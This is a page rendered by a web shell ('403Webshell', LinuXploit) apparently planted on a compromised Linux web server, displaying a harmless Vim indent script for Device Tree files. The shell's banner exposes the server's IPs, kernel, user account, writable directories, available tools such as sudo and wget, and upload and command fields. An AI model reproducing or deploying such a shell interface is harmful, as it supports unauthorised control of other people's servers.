403Webshell
Server IP : 104.21.93.65  /  Your IP : 104.23.243.51
Web Server : Apache
System : Linux server.localhost.com 6.8.0-85-generic #85-Ubuntu SMP PREEMPT_DYNAMIC Thu Sep 18 15:26:59 UTC 2025 x86_64
User : pahana ( 1029)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/vim/vim91/indent/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/vim/vim91/indent/dts.vim
" Vim indent file
" Language:		Device Tree
" Maintainer:		Roland Hieber, Pengutronix <[email protected]>
"
if exists("b:did_indent")
    finish
endif
let b:did_indent = 1

setlocal autoindent
setlocal nosmartindent
setlocal indentkeys=o,O,0},0<>>,!<Ctrl-F>
setlocal indentexpr=GetDTSIndent()
setlocal nolisp

let b:undo_indent = 'setl autoindent< smartindent< indentkeys< indentexpr< lisp<'

function GetDTSIndent()
    let sw        = shiftwidth()
    let lnum      = v:lnum
    let line      = getline(lnum)
    let prevline  = getline(prevnonblank(lnum-1))
    let prevind   = indent(prevnonblank(lnum-1))

    if prevnonblank(lnum-1) < 1
        return 0
    endif

    " Don't indent header and preprocessor directives
    if line =~ '^\s*\(/dts-\|#\(include\|define\|undef\|warn\(ing\)\?\|error\|if\(n\?def\)\?\|else\|elif\|endif\)\)'
        return 0

    " Don't indent /node and &label blocks
    elseif line =~ '^\s*[/&].\+{\s*$'
        return 0

    " Indent to matching bracket or remove one shiftwidth if line begins with } or >
    elseif line =~ '^\s*[}>]'
        " set cursor to closing bracket on current line
        let col = matchend(line, '^\s*[>}]')
        call cursor(lnum, col)
        
        " determine bracket type, {} or <>
        let pair = strpart('{}<>', stridx('}>', line[col-1]) * 2, 2)

        " find matching bracket pair
        let pairline = searchpair(pair[0], '', pair[1], 'bW')

        if pairline > 0 
            return indent(pairline)
        else
            return prevind - sw
        endif

    " else, add one level of indent if line ends in { or < or = or ,
    elseif prevline =~ '[{<=,]$'
        return prevind + sw

    else
        return prevind
    endif

endfunction

Youez - 2016 - github.com/yon3zu
LinuXploit